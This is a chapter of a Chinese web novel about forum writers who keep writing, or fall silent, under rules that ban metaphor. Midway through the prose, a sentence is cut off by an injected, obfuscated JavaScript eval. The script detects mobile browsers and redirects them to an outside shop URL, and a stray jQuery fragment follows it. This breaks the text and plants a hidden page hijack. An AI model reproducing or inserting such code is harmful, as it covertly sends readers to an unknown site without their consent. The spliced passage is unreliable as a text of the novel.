第三部:窒息
第二十四章:窒息(中)——暗语
规则可以禁止隐喻,但禁止不了人们继续说话。嘴闭上了,手指还在动。手指停了,眼睛还在看。你永远不知道一个写作者会用什么方式活下去——直到你把他逼到非活不可的地步。
【本章出场人物简介】
有鱼——他在新版规发布后的第一个周末发了一个帖子,标题只有一个字:“水”。正文也只有一个字:“水”。版主没有删帖,但也没有任何公开解释。这个字像一块石头投进已经结冰的水面,涟漪一圈一圈散开,却没有人敢说出那个字到底意味着什么。
阿坤——他花了几天时间反复斟酌该怎么回答那个新人的问题。最后他回了一段话,最短的、最轻的、却是他所有回复里最重的一段。
苏同黎——他写了关于水的文字。水不只是隐喻——水是物理,是化学,是活着的人血液里流的东西。他把自己关在书房里,键盘声很稳。
苏云洛——她在云落的章节里问了一句:如果水只是水,那河流呢?如果河流只是H?O在重力作用下沿地表线性流动,那我们一直在写的那条河是什么?
陈烁——他把新版规之后的论坛动态一条一条存进加密文件夹。他写到阿坤那条被截图传播的回复,写到有鱼那个无人敢回应的“水”字帖,写到讨论区那种比批量清理更让人窒息的安静。
沈小雅——她说了那句被陈烁存进文件夹的话:勇敢没有用——持久才有用。
新版规发布之后的第一个周末,论坛的讨论区安静得让老用户想起批量清理。
那是一种什么感觉?阿坤以前描述过——“以前每天都要看很多条,现在没有了。”批量清理是那种突如其来的空白,像一栋楼被整层搬空,家具还在,人没了。但现在不是那种空白。现在的安静是另一种——所有人都在,在线用户列表还亮着一长串ID,浏览量在涨,收藏数在涨,但没有人发帖。那种安静不是被搬空的安静,是所有人都站在一个装满了水的房间里,憋着不敢呼吸,因为不知道呼吸会不会弄出声音。论坛像一条河面结冰的河——水还在流,但看不见流了。所有人都盯着那块冰面,不知道它有多厚,不知道踩上去会不会裂,不知道冰下面还有没有鱼在游。
有鱼是在这种安静里发了那个帖子。标题一个字:“水”。正文也是一个字:“水”。
没有加粗,没有斜体,没有任何修辞。就一个字,孤零零地挂在讨论区首页。这是他在新版规发布之后发的第一个帖子,也是他标志性的极简风格——他以前在沉舟长篇下回“稳”,在渡川旧帖下回“活了”,在赵一舟的评论区回“存”。他用最少的字说最多的话。但这次他把“水”字发在了讨论区,而不是回复某个人。他在所有人都不敢说话的时候,说了一个没有人知道算不算违规的字。
帖子挂在首页上,浏览量在涨,但很长一段时间没有回复。不是没有人看到——是没有人敢回。你不知道回什么。回一句“水”算不算暗语?回一句“什么意思”算不算在讨论暗语?回一句“版主呢”算不算在挑战规则?什么都不回,只是点一个赞,算不算“在评论区使用非公开的暗语交流”?你不知道。新版规没有解释这些。新版规只说了禁止什么,没有说清楚怎么执行。执行者不会有这种困惑,只要判断“是”或“不是”。但写作者有——写作者必须知道每一个词的边界在哪里,才能知道这个句子能不能站得住脚。现在他们连“水”都拿不准了。
苏同黎看到有鱼那个帖子的时候,正在写长篇下一段。他当时已经写了好几行关于河流的句子,光标停在句末一闪一闪的。苏云洛在客厅里给绿萝喷水,喷壶的声音停了一下,然后继续。他拿起手机刷新了一下论坛首页,看到了“水”。他盯着那个字看了很久。以前有鱼在沉舟长篇下回“稳”的时候,他知道那是认同——太认同了,认同到用最少的字把所有的评价都省掉,只留一个判断。现在有鱼在讨论区发“水”的时候,他忽然不确定自己有没有真的看懂这个字。
如果“水”是隐喻——那它现在是被禁止的。新版规第一条写得清清楚楚:不得使用隐喻、代指、谐音等方式规避内容审核。但“水”是不是隐喻?如果你在讨论区发一个“水”字,没有上下文,没有前后文,没有指向任何具体的作品或事件,那它算什么?它既不是对具体事物的隐喻,也不是对具体内容的规避。它只是一个字。一个H?O的化学名称,在标准大气压下零度结冰一百度沸腾的液体。它在这个语境里什么都不是。也正因为什么都不是,它才什么都是。
他没有点赞,没有回复。他打开长篇文档继续写。他写道:“有鱼在讨论区发了一个帖子。标题和正文都只有一个字:水。这是他在新版规发布之后发的一个帖子。版主没有删帖,但也没有任何解释。没有人知道水字算不算违规。也没有人知道水字如果不算违规,那它还能不能像以前那样代表一些别的东西。这就是新版规的成就——它不需要定义每一个违规的词汇,它只需要让写作者自己怀疑每一个词。当你开始怀疑水字能不能用的时候,你就是你自己最严格的审查员。”
几天之后,讨论区的水帖下面多了几条回复。不是关于水的——关于“还能写什么”。
回复是从一个新人开始的。那个新人在水帖下面留了一段话,措辞认真而忐忑:“我看了这个帖子好几天了,不知道要不要说话。我是不久前刚入圈的,以前在技术区看过阿坤的指南,在讨论区看到过有鱼前辈回的短评论,还在沉舟前辈的长篇下面留过言。我有很多问题想问,但不敢发帖,怕给前辈们添麻烦,怕说错话被封号,怕自己什么都不懂还在这里占地方。我现在最大的问题是:现在还能写什么?我把以前写的草稿翻出来看,越看越害怕,感觉每一句都可能碰到新规则的边。我不知道该不该继续写。如果写,写什么?如果不写,那些写了一半的东西怎么办?”
这条回复很长,语气小心翼翼,每个词都像是斟酌了几遍才打出来的。他把自己放在一个完全弱势的位置上——新人,不懂行,怕给人添麻烦。这种姿态在任何时代都是安全的。但在新版规下面,连这种姿态都要想一想:说自己“不敢写”,会不会被解读成“对平台规则表达不满”?说“不知道还能写什么”,会不会被判定为“质疑审核标准”?
没有人回复。那个回复在水帖下面挂了大半天,浏览量在涨,但旁边安静得像一口井。有鱼没有回。阿坤没有回。苏同黎没有回。不是不想回——是不知道该怎么回。你没法在讨论区公开告诉一个新人“怎么规避隐喻”,因为“规避隐喻”本身就是一个隐喻——它指代的是“在规则下继续写东西”这件事,而这件事本身正是被禁止的。你没法公开说“你把石头写成一个石头”,因为这句话本身就是一句暗语——它真正的意思是“你把你想说的东西藏在最安全的词里”,而这个意思本身又是在教对方怎么规避审核。任何关于“怎么写才不违规”的回答,本质上都在教对方怎么在规则的缝隙里呼吸。而新规则把这种回答也定义成了违规——不是内容违规,是行为违规。
然后阿坤回了。那条回复出现在新人的回复下面,不长,也不长——很短,短到在讨论区一眼扫过去会以为是哪个老用户在整理心情。阿坤写的是——
“写你可以写的东西。如果隐喻被禁,就写直白。如果直白被禁,就写沉默。如果沉默也被禁,那就不是一个写作者的问题了。”
就这么多。没有解释,没有引申,没有附加任何“仅代表个人观点”的免责声明。他用了三个“如果”,像三块石头,一块比一块重。第一块石头叫“直白”——你还可以写,写那些不需要任何修饰的东西,写那些不拐弯不绕道直接落在纸面上的事情。第二块石头叫“沉默”——如果直白也被禁,那就停下来。不是认输,是暂时不写。沉默是写作者最后的退路。第三块石头叫“不是你的问题”——如果连沉默也被禁了,那问题不在你身上。那是系统走到了它自己的逻辑终点:它已经不满足于禁止你怎么写,它要禁止你选择不写。它要求你只写在它规定好的范围内、用规定好的方式、在规定好的时间、达到规定好的效果。到那时候,写作者就没有任何东西可以写了。不是不敢写,是没有什么可以被写出来。
这段回复在很短的时间内被截图保存,然后开始在圈内私下传播。不是通过论坛私信——新版规明确把私信纳入了监管范围,没有人敢在私信里发这个。是通过论坛以外的渠道:加密邮箱、小众通讯软件、用截图加一层密码打包成压缩文件、把文字一个一个打散藏在不起眼的表情包下面。他们甚至不使用“传”这个词了,因为“传”这个动作本身也可能被解读。他们说的是“存一份”。和以前阿坤说的“存”不是一个语气——以前那是认同,现在这是保护。“存一份”,意思是我这里有,如果哪天你的被删了,我这里还有。如果哪天我的被删了,你那里还有。如果论坛明天没了,这几十份截图还在几十个人的硬盘里。
陈烁是在当天深夜看到那张截图的。不是通过论坛——是通过一个他从没用过的小众通讯软件。发给他的人ID不认识,头像是一片灰白,只附了一句话:“阿坤回新人的。存一份。”他打开截图看了一遍,然后靠在椅背上沉默了很久。他和阿坤认识了很多年,从阿坤第一次在新人帖下面回他那句“三个审核员可能有三个判断”开始,他就一直在听阿坤说话。阿坤的话向来很短,但从来不说废话。这一次阿坤把话说到最短,短到只剩下三个假设。如果隐喻被禁,就写直白。如果直白被禁,就写沉默。如果沉默也被禁,那就不是一个写作者的问题了。他把截图存进加密文件夹,放在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845508|209647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿坤被删的指南截图旁边,放在《给新人》《信任》《传灯》三个文档的后面。然后他新建了一个子目录,名字就叫“新版规之后”。他在目录里写下一行字:“阿坤没有教新人怎么规避审核。阿坤用三个如果给新人画了一条往后退的线。先退到直白,再退到沉默,最后退到‘不是你的问题’。这条线是一把尺子,量的不是文字的边界,是规则的边界。当一个系统逼着写作者一直后退的时候,总有一个点,再退一步就不是写作者的问题了。这就是触底。触底之后,有人停下来,有人用手摸地,有人开始往旁边挖。而那些挖的人,会在地下发现一条新的河。”
苏云洛是在第二天早上看到阿坤那条回复的。她在出版社办公室整理完新一季出版计划之后,靠在椅背上翻了一下加密文件夹里的文档。有一个新人给她发了条消息——不是论坛私信,是用出版社的投稿邮箱。邮件里附了阿坤那条回复的截图,问她云落老师,阿坤老师说的“写你可以写的东西”是什么意思。苏云洛看着这封邮件想了一会儿。她不能回信教一个新人怎么理解阿坤的回答——任何解释都可能变成另一种规避指南,被同一套规则按同样的方式归类。但她也知道,这个新人之所以来问她,不是因为找不到人说话,是因为在所有能说话的渠道都被堵上之后,出版社的投稿邮箱是最后一条还开着的路。
她打开云落的文档,在新章节里写了一段。她写道:“有一个新人问我,阿坤那句话是什么意思。我没有回信。不是不想回,是不知道怎么回——因为阿坤说的已经不能再清楚了。写你可以写的东西——这句话本身不是隐喻,不需要任何解释。如果你不能理解这句话,那说明你还能写的东西比你想象的多得多。如果你理解了这句话,那你现在应该在写。水在物理上是H?O,但在文学里它是流动、是柔软、是不可阻挡的力量。新版规可以禁止隐喻,但它不能禁止这些实际发生的事情。河流还在流,不管你叫它什么。H?O还在蒸发、凝结、降水、汇流,不管你用哪个词来描述这个过程。写东西的人最怕的从来不是词汇受限,而是词汇背后那种想要说话的欲望先熄灭了。只要你还想写,你总能找到还能写的词——直白的、沉默的、或者干脆不写的。”她把这段话保存进文档,没有发布。不是不敢,是觉得这已经是她目前能给那个新人的所有东西了——不通过私信,不通过评论区,只是把话说给自己听。等那个新人翻到这一章的时候,也许就会明白了。
沈小雅是在周五晚上看见陈烁在加密文件夹里存那些截图的。他最近几天把新版规相关的所有文件都整理了一遍——版规原文、有鱼的水帖截图、新人的提问截图、阿坤的回复截图、圈内私下传播的各种加密包。他把它们按日期排列,在每一个文件旁边写下一句话的备注。有时候是事实陈述,有时候是苏同黎或云落新写下的文字摘录,有时候只有几个字,像“存一份”或“还在看”。沈小雅把热好的牛奶放在他手边,坐下靠在沙发扶手上。她看着屏幕上那些文件的名字一个一个往下滑,忽然说了一句:“阿坤以前也这样。他从来不喊。”陈烁问她什么意思。她说阿坤被删帖的时候不喊,被降权的时候不喊,现在版规把隐喻都禁了他也不喊。不喊不是不痛。有些人痛的时候会喊,喊完之后继续痛;有些人痛的时候不喊,只是把痛劲收起来,继续做自己的事。前者叫勇敢,后者叫什么?陈烁没说话。沈小雅自己接了:“后者叫持久。你没有见过比阿坤更持久的人——他可以从早到晚待在那里,回答那些反复出现的新人问题,就算答复再短,他也坚持把该回的回了。他不喊,但他一直在。”她靠回沙发,补了一句:“勇敢没有用——持久才有用。”
陈烁把她这句话打进了加密文件夹。他写道:“沈小雅说的——勇敢没有用,持久才有用。新版规下来之后,很多人沉默了。他们有些是害怕,有些是不知所措,有些是观望。阿坤没有沉默。他还在回新人帖,回得很短。他没有试图去改写规则,也没有试图去挑战规则。他只是在规则下面继续做他该做的事。这就是持久。持久不是喊得比谁都响,是在所有人都不再说话的时候,你还愿意回答那些还没有放弃的人。阿坤的持久比任何一部作品都更像一个答复。”他打完这些,把文件夹里那个叫“新版规之后”的子目录重新命名了一下,改成了“触底之前”。他盯着这四个字看了一会儿,然后合上电脑。窗外香樟树的叶子已经落尽了,光秃秃的枝条在夜风里轻轻晃动。沈小雅把空了的牛奶杯拿去厨房,水龙头开了一会儿又关上。陈烁听着水声,忽然觉得这条河可能真的漫到岸边了。阿坤站在水里,不喊。苏同黎站在水里,继续写。有鱼站在水里,发了一个水字。新人站在水里,问还能写什么。而他站在岸上,把这些人一个一个存进文件夹里,存成“触底之前”的样子。
他知道触底还没有来。但已经不远了。